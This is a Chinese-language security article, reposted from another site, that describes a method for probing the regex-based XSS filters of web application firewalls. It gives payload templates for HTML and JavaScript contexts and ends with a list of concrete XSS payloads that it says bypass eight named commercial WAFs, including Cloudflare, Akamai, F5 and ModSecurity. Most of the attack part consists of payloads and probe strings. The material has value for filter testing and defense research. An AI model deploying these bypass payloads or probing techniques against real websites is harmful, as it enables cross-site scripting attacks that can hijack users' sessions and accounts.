本文提出了一種繞過XSS安全機制的新型方法,這種技術由三個階段組成:確定Payload結構、探測和混淆處理。
首先,我們需要針對給定的上下文環境,確定各種不同的Payload結構以達到最優的測試效果。
接下來就是探測,這里涉及到根據目標所實現的安全機制來進行各種字符串測試,并分析目標的響應數據以便基于分析結果來做出安全假設。
最后,根據分析結果來判斷是否要對Payload進行混淆處理或結構調整。
本文假設讀者對XSS、html和JAVAScript已經有了基本的了解。
全文使用{string}來代表Payload機制中的組件。
全文使用{?string}來代表可選組件。
全文使用“主要字符”這個名詞代表Payload中必須包含的字符。
作者建議使用URL編碼來處理Payload中不安全的字符,例如“+”和“&”等等。
在探測過程中,建議使用無害的字符串來代替{JavaScript}。
介紹
XSS是Web應用程序中常見的漏洞之一,網站管理員可以通過用戶輸入過濾、根據上下文轉換輸出數據、正確使用DOM、強制執行跨源資源共享(CORS)策略以及其他的安全策略來規避XSS漏洞。
盡管現在有很多預防XSS攻擊的技術,但Web應用程序防火墻(WAF)或自定義數據過濾器是目前使用比較廣泛的安全保護技術了,很多廠商都會利用這些技術來抵御新型的XSS攻擊向量。
雖然WAF廠商仍在嘗試引入機器學習技術,但基于正則表達式的字符串檢測方法仍是目前最廣泛使用的技術。
本文提出了一種構造XSS Payload的新型方法,這種方法構造出來的XSS Payload可以繞過基于正則表達式匹配的安全機制。
HTML上下文
當用戶的輸入數據映射在Web頁面的HTML代碼中時,這種場景就是我們所謂的HTML上下文。
HTML上下文可以根據用戶輸入在代碼中的映射位置來進一步劃分成:
1、 標簽內:<inputtype=”text” value=”$input”>
2、 標簽外:<span>Youentered $input</span>
標簽外
在這種上下文場景中,主要字符“<”代表HTML標簽的起始。根據HTML定義,標簽名必須以字母作為開頭,因此我們可以利用下面的規則來判斷用來匹配標簽名的正則表達式:
1、<svg – 如果通過,表明沒有進行任何標簽檢測;
2、<dev – 如果無法通過,則為<[a-z]+;
3、x<dev – 如果通過,則為^<[a-z]+;
4、<dEv – 如果無法通過,則為<[a-zA-Z]+;
5、<d3V – 如果無法通過,則為<[a-zA-Z0-9]+;
6、<d|3v – 如果無法通過,則為<.+;
如果上述方式均無法探測成功,則說明目標站點部署的安全機制無法被繞過。
這種方式的假陽性率非常高,因此不鼓勵使用。
如果上述探測方式有一個可行,那么可用來構造Payload的機制就非常多了。
Payload機制#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到{tag}的合適值之后,就需要猜測用于匹配標簽和事件處理器間數據過濾器的正則表達式了。這一步可以使用下面的探測機制來實現:
1、<tag xxx – 如果無法通過,則為{space};
2、<tag%09xxx – 如果無法通過,則為[s];
3、<tag%09%09xxx – 如果無法通過,則為s+;
4、<tag/xxx – 如果無法通過,則為[s/]+;
5、<tag%0axxx- 如果無法通過,則為[sn]+;
6、<tag%0dxxx>- 如果無法通過,則為[snr+]+;
7、<tag/~/xxx – 如果無法通過,則為.*+;
這個組件(例如事件處理器)是Payload結構中最關鍵的部分。
通常,匹配它的是常規正則表達式(例如“onw+”)或黑名單(例如“on(load|click|error|show)”)。
第一個正則表達式非常嚴格,很難繞過,而基于黑名單的模式可以通過不常用的事件處理器來繞過。
安全機制的實現類型可以通過下面兩種簡單的方法來識別:
1、<tag{filler}onxxx – 如果無法通過,則為onw+。如果通過,則為on(load|click|error|show);
2、<tag{filler}onclick- 如果通過,則表明沒有事件處理器檢測正則表達式;
下面是一些防火墻黑名單中沒標記的事件處理器:
onauxclickondblclickoncontextmenuonmouseleaveontouchcancel
常用的Payload結束符如下:
<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09
Payload機制#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
使用了<object>標簽的Payload可以利用下面的Payload機制來構建:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
Payload機制#3
這種Payload機制有兩種形式:明文或混淆處理。
明文結構如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆處理后的Payload結構如下:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
JavaScript上下文
Payload機制#1
{quote}{delimiter}{javascript}{delimiter}{quote}
可用的Payload有:
'^{javascript}^''*{javascript}*''+{javascript}+''/{javascript}/''%{javascript}%''|{javascript}|''<{javascript}<''>{javascript}>'
Payload機制#2
{quote}{delimiter}{javascript}//
可以使用下列Payload機制來構建Payload:
'<{javascript}//''|{javascript}//''^{javascript}//'
防火墻繞過
在研究過程中,總共繞過了八款WAF。
下面的列表包含了可繞過的WAF、Paylaod以及相關的繞過技術:
WAF名稱:Cloudflare
Payload:<a”/onclick=(confirm)()>click
繞過技術:非空格填充
WAF名稱:wordfence
Payload:<a/href=javascript:alert()>click
繞過技術:數字字符編碼
WAF名稱:Barracuda
Payload:<a/href=Java%0a%0d%09script:alert()>click
繞過技術:數字字符編碼
WAF名稱:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
繞過技術:黑名單中缺少事件處理器以及函數調用混淆
WAF名稱:ModSecurity
Payload:<details/open/ontoggle=alert()>
繞過技術:黑名單中缺少標簽或事件處理器
WAF名稱:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
繞過技術:黑名單中缺少結束標簽、事件處理器和函數調用混淆
參考資料
HTML規范:https://www.w3.org/TR/html52/
數字字符引用:https://en.wikipedia.org/wiki/Numeric_character_reference
作者:AttackCTF
轉載自:https://www.secpulse.com/archives/134608.html